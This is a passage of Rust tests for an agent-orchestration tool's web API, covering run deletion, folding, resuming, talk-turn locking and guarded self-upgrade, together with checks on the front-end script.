16930 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
16931 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
16932 assert_eq!(res.status, 204);
16933 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
16934 assert!(
16935 q.claim(&t3.id).is_ok(),
16936 "the stale lock went with it, so the id is claimable again"
16937 );
16938
16939 let res = fx.delete("/api/queue/nonexistent").await;
16941 assert_eq!(res.status, 404);
16942 }
16943
16944 #[tokio::test]
16945 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
16946 let fx = Fixture::start().await;
16947 let runs = fx.runs();
16948
16949 let run_id = "20260901-000000-fold";
16951 let mut state = RunState::new(
16952 PathBuf::from("/repo"),
16953 "main".to_owned(),
16954 "abc".to_owned(),
16955 "instruction".to_owned(),
16956 Config::default(),
16957 );
16958 state.id = run_id.to_owned();
16959 state.status = RunStatus::Merged;
16960 state.candidates.push(crate::run::Candidate {
16961 index: 0,
16962 label: 'A',
16963 agent: "a".to_owned(),
16964 branch: "b".to_owned(),
16965 worktree: PathBuf::from("/w"),
16966 summary: String::new(),
16967 stat: String::new(),
16968 files: 1,
16969 commits: 1,
16970 empty: false,
16971 failed: None,
16972 verified_noop: None,
16973 duration_ms: 0,
16974 folded: true,
16975 });
16976 let dir = runs.join(run_id);
16977 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
16978 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
16979 .expect("write artifact");
16980 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
16981 .expect("write run.json");
16982
16983 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
16985 assert_eq!(res.status, 204);
16986 assert!(res.body.is_empty(), "204 has no body");
16987 assert!(!dir.exists(), "run directory and artifacts must be deleted");
16988
16989 let run_running = "20260901-000000-rung";
16994 write_run(&runs, run_running, RunStatus::Prep);
16995 let mut beat = crate::daemon::Status::new();
16996 beat.current = vec![crate::daemon::Current {
16997 task: "20260901-000000-task".to_owned(),
16998 run: run_running.to_owned(),
16999 }];
17000 beat.updated_at = jiff::Timestamp::now();
17001 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17002 .expect("publish a heartbeat");
17003 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
17004 assert_eq!(res.status, 409);
17005 assert!(
17006 res.json()["error"]
17007 .as_str()
17008 .unwrap()
17009 .contains("live daemon"),
17010 "the refusal must say who is holding it"
17011 );
17012 assert!(
17013 runs.join(run_running).exists(),
17014 "a run in flight keeps its directory"
17015 );
17016
17017 let run_unfolded = "20260901-000000-unfd";
17019 let mut state2 = RunState::new(
17020 PathBuf::from("/repo"),
17021 "main".to_owned(),
17022 "abc".to_owned(),
17023 "instruction".to_owned(),
17024 Config::default(),
17025 );
17026 state2.id = run_unfolded.to_owned();
17027 state2.status = RunStatus::Ready;
17028 state2.candidates.push(crate::run::Candidate {
17029 index: 0,
17030 label: 'A',
17031 agent: "a".to_owned(),
17032 branch: "b".to_owned(),
17033 worktree: PathBuf::from("/w"),
17034 summary: String::new(),
17035 stat: String::new(),
17036 files: 1,
17037 commits: 1,
17038 empty: false,
17039 failed: None,
17040 verified_noop: None,
17041 duration_ms: 0,
17042 folded: false,
17043 });
17044 let dir2 = runs.join(run_unfolded);
17045 std::fs::create_dir_all(&dir2).expect("create dir2");
17046 std::fs::write(
17047 dir2.join("run.json"),
17048 serde_json::to_string(&state2).unwrap(),
17049 )
17050 .expect("write run.json");
17051
17052 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
17053 assert_eq!(res.status, 409);
17054 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
17055 assert!(dir2.exists(), "unfolded run directory is kept");
17056
17057 let res = fx.delete("/api/runs/nonexistent").await;
17059 assert_eq!(res.status, 404);
17060 }
17061
17062 #[test]
17071 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
17072 let start = APP_JS
17073 .find("function renderStats() {")
17074 .expect("renderStats");
17075 let end = start
17076 + APP_JS[start..]
17077 .find("function statsTile(")
17078 .expect("the next top-level function");
17079 let body = &APP_JS[start..end];
17080
17081 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
17082 let gate_end = gate_start
17083 + body[gate_start..]
17084 .find("}\n renderStatsQueue")
17085 .expect("the gate's own closing brace, right before the unconditional call");
17086 let gated = &body[gate_start..gate_end];
17087
17088 assert_eq!(
17089 body.matches("renderStatsQueue(").count(),
17090 1,
17091 "renderStats must call renderStatsQueue exactly once: {body}"
17092 );
17093 assert!(
17094 !gated.contains("renderStatsQueue"),
17095 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
17096 run-derived panels on an empty run history - the queue panel has to render \
17097 regardless: {gated}"
17098 );
17099 }
17100
17101 #[test]
17102 fn web_ui_delete_contract_in_front_end() {
17103 assert!(APP_JS.contains("deleteRun:"));
17105 assert!(APP_JS.contains("deleteTask:"));
17106
17107 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
17109 ..APP_JS.find("function renderRuns").unwrap()];
17110 assert!(!run_cards_slice.to_lowercase().contains("delete"));
17111
17112 assert!(APP_JS.contains("renderRunDelete"));
17114 assert!(APP_JS.contains("runDeleteReason"));
17115 assert!(APP_JS.contains("magi fold"));
17116 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
17117
17118 assert!(APP_JS.contains("cancel.focus"));
17120 assert!(APP_JS.contains("armedRunDelete"));
17121 assert!(APP_JS.contains("renderTaskDeleteBox"));
17122 assert!(APP_JS.contains("armed${cap(key)}"));
17123
17124 assert!(APP_JS.contains("disabled: status === \"running\""));
17126 }
17127
17128 #[test]
17148 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
17149 let build = APP_JS
17150 .find("function createRunCard")
17151 .expect("createRunCard exists");
17152 let update = APP_JS
17153 .find("function updateRunCard")
17154 .expect("updateRunCard exists");
17155 let end = APP_JS
17156 .find("function renderRuns")
17157 .expect("renderRuns exists");
17158
17159 let builder = &APP_JS[build..update];
17161 let open = builder.find("refs = {").expect("createRunCard sets refs");
17162 let literal = &builder[open + "refs = {".len()..];
17163 let close = literal.find('}').expect("the refs literal is closed");
17164 let published: HashSet<&str> = literal[..close]
17165 .split(',')
17166 .filter_map(|entry| entry.split(':').next())
17168 .map(str::trim)
17169 .filter(|name| !name.is_empty())
17170 .collect();
17171 assert!(
17172 published.len() > 5,
17173 "the refs literal did not parse into names: {published:?}"
17174 );
17175
17176 let mut used: Vec<&str> = Vec::new();
17179 let updaters = &APP_JS[update..end];
17180 for (at, _) in updaters.match_indices("r.") {
17181 let before = updaters[..at].chars().next_back();
17184 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
17185 continue;
17186 }
17187 let rest = &updaters[at + 2..];
17188 let len = rest
17189 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
17190 .unwrap_or(rest.len());
17191 if len > 0 {
17192 used.push(&rest[..len]);
17193 }
17194 }
17195 assert!(
17196 used.len() > 5,
17197 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
17198 );
17199
17200 let missing: Vec<&str> = used
17201 .iter()
17202 .copied()
17203 .filter(|name| !published.contains(name))
17204 .collect();
17205 assert!(
17206 missing.is_empty(),
17207 "a run card's updater reaches for {missing:?}, which `createRunCard` \
17208 never put in `refs` - every card will throw and the list will \
17209 render empty under a count line that says otherwise. Published: \
17210 {published:?}"
17211 );
17212 }
17213
17214 #[tokio::test]
17215 async fn folding_from_the_phone_reports_what_it_removed() {
17216 let fx = Fixture::start().await;
17217 let runs = fx.runs();
17218
17219 let id = "20260901-000000-fold";
17223 write_run(&runs, id, RunStatus::Stalled);
17224 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
17225 assert_eq!(res.status, 200);
17226 assert_eq!(res.json()["removed_count"], 0);
17227 assert_eq!(res.json()["run"], id);
17228 assert!(
17229 runs.join(id).exists(),
17230 "a fold keeps the run's record; only the worktrees go"
17231 );
17232 }
17233
17234 #[tokio::test]
17235 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
17236 let fx = Fixture::start().await;
17237 let runs = fx.runs();
17238 let wt = fx.home.path().join("wt").join("magi").join("dead");
17239 let id = "20260901-000000-dead";
17240 std::fs::create_dir_all(runs.join(id)).expect("run dir");
17241 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
17242 std::fs::create_dir_all(&wt).expect("worktree dir");
17243
17244 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
17245 assert_eq!(res.status, 200, "{}", res.body);
17246 assert!(
17247 res.json()["removed_count"].as_u64().unwrap() > 0,
17248 "the worktree this build could not read a state for still went"
17249 );
17250 assert!(
17251 !runs.join(id).exists(),
17252 "an unreadable run has no candidate list to fold selectively, so \
17253 the whole record goes - same as `magi fold` on the CLI"
17254 );
17255 }
17256
17257 #[tokio::test]
17258 async fn deleting_an_unreadable_run_removes_it_wholesale() {
17259 let fx = Fixture::start().await;
17260 let runs = fx.runs();
17261 let wt = fx.home.path().join("wt").join("magi").join("gone");
17262 let id = "20260901-000000-gone";
17263 std::fs::create_dir_all(runs.join(id)).expect("run dir");
17264 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
17265 std::fs::create_dir_all(&wt).expect("worktree dir");
17266
17267 let res = fx.delete(&format!("/api/runs/{id}")).await;
17268 assert_eq!(res.status, 204, "{}", res.body);
17269 assert!(!runs.join(id).exists(), "the broken record is gone");
17270 assert!(!wt.exists(), "its worktree is gone too");
17271 }
17272
17273 #[tokio::test]
17274 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
17275 let fx = Fixture::start().await;
17276 let runs = fx.runs();
17277 let id = "20260901-000000-live";
17278 write_run(&runs, id, RunStatus::Implementing);
17279
17280 let mut beat = crate::daemon::Status::new();
17281 beat.current = vec![crate::daemon::Current {
17282 task: "20260901-000000-task".to_owned(),
17283 run: id.to_owned(),
17284 }];
17285 beat.updated_at = jiff::Timestamp::now();
17286 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17287 .expect("publish a heartbeat");
17288
17289 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
17290 assert_eq!(res.status, 409);
17291 assert!(
17292 res.json()["error"]
17293 .as_str()
17294 .unwrap()
17295 .contains("live daemon"),
17296 "folding under a running agent would pull its worktree away"
17297 );
17298 }
17299
17300 #[tokio::test]
17301 async fn fold_merged_requires_a_pr_url() {
17302 let fx = Fixture::start().await;
17303 let runs = fx.runs();
17304 let id = "20260901-000000-nourl";
17305 write_run(&runs, id, RunStatus::Blocked);
17306
17307 let res = fx
17308 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
17309 .await;
17310 assert_eq!(res.status, 400, "{}", res.body);
17311
17312 let blank = fx
17313 .post(
17314 &format!("/api/runs/{id}/fold-merged"),
17315 Some(r#"{"pr_url":" "}"#),
17316 )
17317 .await;
17318 assert_eq!(blank.status, 400, "{}", blank.body);
17319 }
17320
17321 #[tokio::test]
17322 async fn fold_merged_is_404_for_an_unknown_run() {
17323 let fx = Fixture::start().await;
17324 let res = fx
17325 .post(
17326 "/api/runs/nosuchrun/fold-merged",
17327 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17328 )
17329 .await;
17330 assert_eq!(res.status, 404, "{}", res.body);
17331 }
17332
17333 #[tokio::test]
17334 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
17335 let fx = Fixture::start().await;
17336 let runs = fx.runs();
17337 let id = "20260901-000000-livemerge";
17338 write_run(&runs, id, RunStatus::Blocked);
17339
17340 let mut beat = crate::daemon::Status::new();
17341 beat.current = vec![crate::daemon::Current {
17342 task: "20260901-000000-task".to_owned(),
17343 run: id.to_owned(),
17344 }];
17345 beat.updated_at = jiff::Timestamp::now();
17346 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17347 .expect("publish a heartbeat");
17348
17349 let res = fx
17350 .post(
17351 &format!("/api/runs/{id}/fold-merged"),
17352 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17353 )
17354 .await;
17355 assert_eq!(res.status, 409, "{}", res.body);
17356 assert!(
17357 res.json()["error"]
17358 .as_str()
17359 .unwrap()
17360 .contains("live daemon"),
17361 "correcting a run's merge underneath a running agent would race \
17362 whatever it is doing to the same `status`/`merge` fields"
17363 );
17364 }
17365
17366 #[tokio::test]
17371 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
17372 let fx = Fixture::start().await;
17373 let runs = fx.runs();
17374 let id = "20260901-000000-unconfirmed";
17375 write_run(&runs, id, RunStatus::Blocked);
17376
17377 let res = fx
17378 .post(
17379 &format!("/api/runs/{id}/fold-merged"),
17380 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17381 )
17382 .await;
17383 assert_eq!(res.status, 400, "{}", res.body);
17384 assert_eq!(
17385 read_run(&runs, id).unwrap().status,
17386 RunStatus::Blocked,
17387 "a pull request that could not be confirmed merged must leave \
17388 the run exactly where it was"
17389 );
17390 }
17391
17392 #[tokio::test]
17393 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
17394 let fx = Fixture::start().await;
17395 let runs = fx.runs();
17396
17397 for (status, word) in [
17403 (RunStatus::Merged, "merged"),
17404 (RunStatus::Ready, "ready"),
17405 (RunStatus::Failed, "failed"),
17406 ] {
17407 let id = format!("20260901-000000-{}", &word[..4]);
17408 write_run(&runs, &id, status);
17409 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
17410 assert_eq!(res.status, 409, "{word} must not be resumable");
17411 let err = res.json()["error"].as_str().unwrap().to_owned();
17412 assert!(err.contains(word), "the refusal names the status: {err}");
17413 }
17414
17415 let mid = "20260901-000000-midf";
17420 write_run(&runs, mid, RunStatus::Reviewing);
17421 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
17422 assert_eq!(res.status, 202, "an interrupted run is resumable");
17423 }
17424
17425 #[tokio::test]
17426 async fn resume_is_refused_while_the_loop_is_running() {
17427 let fx = Fixture::start().await;
17428 let runs = fx.runs();
17429 let stalled = "20260901-000000-stal";
17430 write_run(&runs, stalled, RunStatus::Stalled);
17431
17432 let mut beat = crate::daemon::Status::new();
17436 beat.current = vec![crate::daemon::Current {
17437 task: "20260901-000000-task".to_owned(),
17438 run: "20260901-000000-othr".to_owned(),
17439 }];
17440 beat.updated_at = jiff::Timestamp::now();
17441 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17442 .expect("publish a heartbeat");
17443
17444 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
17445 assert_eq!(res.status, 409);
17446 let err = res.json()["error"].as_str().unwrap().to_owned();
17447 assert!(err.contains("othr"), "it names what the loop is on: {err}");
17448 assert!(err.contains("stop it first"), "{err}");
17449 }
17450
17451 #[test]
17452 fn a_run_cannot_be_resumed_twice_at_once() {
17453 let home = TempDir::new().expect("temp home");
17454 let ui = Ui::new(
17455 Queue::at(home.path().join("queue")),
17456 Questions::at(home.path().join("questions")),
17457 Talks::at(home.path().join("talks")),
17458 home.path().join("runs"),
17459 home.path().to_path_buf(),
17460 PathBuf::from("/repo"),
17461 )
17462 .with_worktrees_root(home.path().join("wt"));
17463 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
17464 let again = ui.begin_resume("20260901-000000-once");
17465 assert!(again.is_err(), "a second tap must not start a second graph");
17466 drop(first);
17467 assert!(
17468 ui.begin_resume("20260901-000000-once").is_ok(),
17469 "and the claim is released when the attempt ends"
17470 );
17471 }
17472
17473 #[test]
17474 fn talk_thinking_tracks_only_its_held_turn_claim() {
17475 let home = TempDir::new().expect("temp home");
17476 let ui = Ui::new(
17477 Queue::at(home.path().join("queue")),
17478 Questions::at(home.path().join("questions")),
17479 Talks::at(home.path().join("talks")),
17480 home.path().join("runs"),
17481 home.path().to_path_buf(),
17482 PathBuf::from("/repo"),
17483 )
17484 .with_worktrees_root(home.path().join("wt"));
17485 let id = "20260901-000000-once";
17486
17487 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
17488 let turn = ui.begin_talk_turn(id).expect("claim turn");
17489 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
17490 assert!(
17491 !ui.is_thinking("20260901-000000-other"),
17492 "one talk's turn does not make another talk busy"
17493 );
17494 drop(turn);
17495 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
17496 }
17497
17498 #[test]
17499 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
17500 let home = TempDir::new().expect("temp home");
17501 let talks = Talks::at(home.path().join("talks"));
17502 let ui = Ui::new(
17503 Queue::at(home.path().join("queue")),
17504 Questions::at(home.path().join("questions")),
17505 talks.clone(),
17506 home.path().join("runs"),
17507 home.path().to_path_buf(),
17508 PathBuf::from("/repo"),
17509 )
17510 .with_worktrees_root(home.path().join("wt"));
17511 let id = "20260901-000000-cross";
17512
17513 let other = Talks::at(home.path().join("talks"))
17514 .claim_turn(id)
17515 .expect("claim")
17516 .expect("the other process wins");
17517 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
17518 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
17519 assert!(
17520 matches!(
17521 ui.begin_talk_turn_unless_pending(id).expect("start"),
17522 TalkTurnStart::Foreign
17523 ),
17524 "a foreign holder is refused, not queued behind"
17525 );
17526 assert!(
17527 !ui.talk_turns.lock().unwrap().live.contains(id),
17528 "a refused claim leaves no in-process entry behind"
17529 );
17530 drop(other);
17531 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
17532 assert!(talks.turn_held(id), "the web turn holds the lease");
17533 drop(turn);
17534 assert!(
17535 !talks.turn_held(id),
17536 "dropping the guard releases the lease"
17537 );
17538 }
17539
17540 fn consult_question(ui: &Ui) -> Question {
17541 let mut q = Question::new(
17542 "20260901-000000-consult".to_owned(),
17543 "implement".to_owned(),
17544 "impl-A".to_owned(),
17545 "Which backend?".to_owned(),
17546 String::new(),
17547 vec!["SQLite".to_owned(), "Redis".to_owned()],
17548 );
17549 ui.questions.put(&mut q).expect("question");
17550 q
17551 }
17552
17553 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
17554 (
17555 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
17556 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
17557 )
17558 }
17559
17560 #[tokio::test]
17561 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
17562 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
17563 let q = consult_question(&ui);
17564 let talk = ui.talks.get(&id).expect("talk");
17565 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
17566 let before = consult_snapshot(&ui, &q, &id);
17567 let cli_talks = Talks::at(ui.home.join("talks"));
17568 assert_eq!(
17569 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
17570 .await
17571 .expect("CLI starter"),
17572 crate::consult::Started::Busy
17573 );
17574 assert_eq!(consult_snapshot(&ui, &q, &id), before);
17575 assert!(ui.is_thinking(&id));
17576 drop(guard);
17577 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
17578 }
17579
17580 #[tokio::test]
17581 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
17582 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
17583 let q = consult_question(&ui);
17584 let talk = ui.talks.get(&id).expect("talk");
17585 let started = tmp.path().join("started");
17586 let release = tmp.path().join("release");
17587 let script = tmp.path().join("consult-agent.sh");
17588 std::fs::write(
17589 &script,
17590 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
17591 )
17592 .expect("script");
17593 let mut cfg = stub_config();
17594 cfg.agents[0].id = "mock".to_owned();
17595 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
17596 cfg.agents[0].env = std::collections::BTreeMap::from([
17597 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
17598 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
17599 ]);
17600 let questions = ui.questions.clone();
17601 let cli_talks = Talks::at(ui.home.join("talks"));
17602 let cli_q = q.clone();
17603 let turn = tokio::spawn(async move {
17604 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
17605 });
17606 let ready = tokio::time::timeout(Duration::from_secs(30), async {
17607 while !started.exists() {
17608 tokio::time::sleep(Duration::from_millis(10)).await;
17609 }
17610 })
17611 .await;
17612 let refusal = if ready.is_ok() {
17615 let before = consult_snapshot(&ui, &q, &id);
17616 let result = talk_say(
17617 State(Arc::clone(&ui)),
17618 Path(id.clone()),
17619 Ok(Json(NewTalkTurn {
17620 reply_to: None,
17621 text: "another message".to_owned(),
17622 attachments: Vec::new(),
17623 })),
17624 )
17625 .await;
17626 Some((result, before, consult_snapshot(&ui, &q, &id)))
17627 } else {
17628 None
17629 };
17630 std::fs::write(&release, "").expect("release agent");
17631 let done = turn.await.expect("join CLI turn");
17632 ready.expect("agent started before deadline");
17633 let (result, before, after) = refusal.expect("web request");
17634 let error = result.expect_err("web must refuse the CLI's turn");
17635 assert_eq!(error.status, StatusCode::CONFLICT);
17636 assert!(error.message.contains("a turn is already running"));
17637 assert_eq!(
17638 after, before,
17639 "refusal preserves question, draft and history"
17640 );
17641 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
17642 let guard = ui
17643 .begin_talk_turn(&id)
17644 .expect("web claim")
17645 .expect("free again");
17646 drop(guard);
17647 }
17648
17649 #[test]
17650 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
17651 let home = TempDir::new().expect("temp home");
17652 let talks = Talks::at(home.path().join("talks"));
17653 let ui = Ui::new(
17654 Queue::at(home.path().join("queue")),
17655 Questions::at(home.path().join("questions")),
17656 talks.clone(),
17657 home.path().join("runs"),
17658 home.path().to_path_buf(),
17659 PathBuf::from("/repo"),
17660 )
17661 .with_worktrees_root(home.path().join("wt"));
17662 let id = "20260901-000000-order";
17663 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17664 let slots = ui.talk_turns.lock().unwrap();
17666 let dropper = std::thread::spawn(move || drop(turn));
17667 let start = std::time::Instant::now();
17668 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
17669 std::thread::sleep(Duration::from_millis(5));
17670 }
17671 assert!(!talks.turn_held(id), "the lease is released first");
17672 assert!(slots.live.contains(id), "the slot is still held meanwhile");
17673 drop(slots);
17674 dropper.join().expect("join");
17675 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
17676 }
17677
17678 #[tokio::test]
17679 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
17680 let fx = Fixture::start().await;
17681 let mut beat = crate::daemon::Status::new();
17685 beat.pid = 4321;
17686 beat.updated_at = jiff::Timestamp::now();
17687 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17688 .expect("publish a heartbeat");
17689
17690 let res = fx.post("/api/upgrade", None).await;
17691 assert_eq!(res.status, 409);
17692 let err = res.json()["error"].as_str().unwrap().to_owned();
17693 assert!(err.contains("4321"), "the refusal names the owner: {err}");
17694 assert!(err.contains("old one against the same queue"), "{err}");
17695 }
17696
17697 #[test]
17704 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
17705 assert!(!should_spawn_recheck(&crate::config::Update {
17706 mode: UpdateMode::Off,
17707 interval: None,
17708 }));
17709
17710 unsafe {
17713 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
17714 }
17715 let killed = should_spawn_recheck(&crate::config::Update {
17716 mode: UpdateMode::Notify,
17717 interval: None,
17718 });
17719 unsafe {
17720 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
17721 }
17722 assert!(
17723 !killed,
17724 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
17725 one-time startup check"
17726 );
17727
17728 assert!(should_spawn_recheck(&crate::config::Update {
17729 mode: UpdateMode::Notify,
17730 interval: None,
17731 }));
17732 }
17733
17734 #[test]
17740 fn recheck_poll_period_tracks_a_short_configured_interval() {
17741 let short = crate::config::Update {
17742 mode: UpdateMode::Notify,
17743 interval: Some("1m".to_owned()),
17744 };
17745 let period = recheck_poll_period(&short);
17746 assert!(
17747 period <= Duration::from_secs(30),
17748 "a one-minute interval must wake the task far sooner than the \
17749 default ceiling, or the deck would not notice within the \
17750 interval the operator configured: got {period:?}"
17751 );
17752
17753 let default = crate::config::Update {
17754 mode: UpdateMode::Notify,
17755 interval: None,
17756 };
17757 assert_eq!(
17758 recheck_poll_period(&default),
17759 UPDATE_RECHECK_POLL_MAX,
17760 "the default day-long interval should poll at the (capped) \
17761 ceiling rather than needlessly often"
17762 );
17763 }
17764
17765 #[test]
17773 fn recheck_skips_the_network_before_the_interval_elapses() {
17774 let dir = TempDir::new().expect("temp dir");
17775 let path = dir.path().join("state.json");
17776 let state = kaishin::UpdateCheckState {
17777 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
17778 last_known_latest: None,
17779 last_known_url: None,
17780 };
17781 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
17782
17783 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
17784 assert!(
17785 !update_recheck_due(&checker, None),
17786 "a check made moments ago must not be repeated before the \
17787 configured interval elapses"
17788 );
17789 }
17790
17791 #[test]
17797 fn recheck_defers_to_an_upgrade_already_in_flight() {
17798 let dir = TempDir::new().expect("temp dir");
17799 let path = dir.path().join("state.json");
17800 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
17801 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
17802
17803 assert!(
17804 !update_recheck_due(&checker, Some(&progress)),
17805 "a recheck must not run while an upgrade this deck started is \
17806 still moving"
17807 );
17808 }
17809
17810 #[tokio::test]
17811 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
17812 unsafe {
17824 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
17825 }
17826 let fx = Fixture::start().await;
17827 let res = fx.post("/api/upgrade", None).await;
17828 unsafe {
17829 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
17830 }
17831 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
17832 let body = res.json();
17833 assert!(body["to"].is_null(), "there was no release to move to");
17834 assert!(body["parked"].is_null(), "and nothing was parked");
17835 assert!(
17836 body["detail"]
17837 .as_str()
17838 .unwrap()
17839 .contains("disabled by MAGI_NO_AUTOUPDATE"),
17840 "{body:?}"
17841 );
17842 }
17843
17844 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
17845 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
17846 p.stage = stage;
17847 p
17848 }
17849
17850 #[test]
17851 fn busy_stages_match_the_ui_set() {
17852 use crate::updater::Stage;
17853 assert!(APP_JS.contains(
17854 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
17855 ));
17856 for s in [
17857 Stage::Downloading,
17858 Stage::Replaced,
17859 Stage::Parking,
17860 Stage::Restarting,
17861 ] {
17862 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
17863 }
17864 for s in [Stage::Done, Stage::Failed] {
17865 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
17866 }
17867 assert!(upgrade_in_motion(None).is_none());
17868 }
17869
17870 #[tokio::test]
17871 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
17872 use crate::updater::Stage;
17873 for stage in [
17874 Stage::Downloading,
17875 Stage::Replaced,
17876 Stage::Parking,
17877 Stage::Restarting,
17878 ] {
17879 let fx = Fixture::start().await;
17880 let seeded = seeded_progress(stage);
17881 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
17882 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
17883 .expect("read");
17884
17885 let res = fx.post("/api/upgrade", None).await;
17886 assert_eq!(res.status, 409, "{stage:?}");
17887 let err = res.json()["error"].as_str().unwrap().to_owned();
17888 assert!(err.contains("already in progress"), "{err}");
17889 assert!(err.contains(stage.as_str()), "{err}");
17890
17891 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
17892 .expect("read");
17893 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
17894 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
17895 .unwrap_or_default();
17896 assert!(!log.contains("signalling HANDOVER"), "{log}");
17897 }
17898 }
17899
17900 #[tokio::test]
17901 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
17902 use crate::updater::Stage;
17903 let repo = TempDir::new().expect("repo dir");
17904 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17905 .expect("write magi.toml");
17906 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17907 for stage in [Stage::Done, Stage::Failed] {
17908 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
17909 let res = fx.post("/api/upgrade", None).await;
17910 assert_eq!(res.status, 200, "{stage:?}");
17911 }
17912 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
17914 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
17915 }
17916
17917 #[tokio::test]
17918 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
17919 let repo = TempDir::new().expect("repo dir");
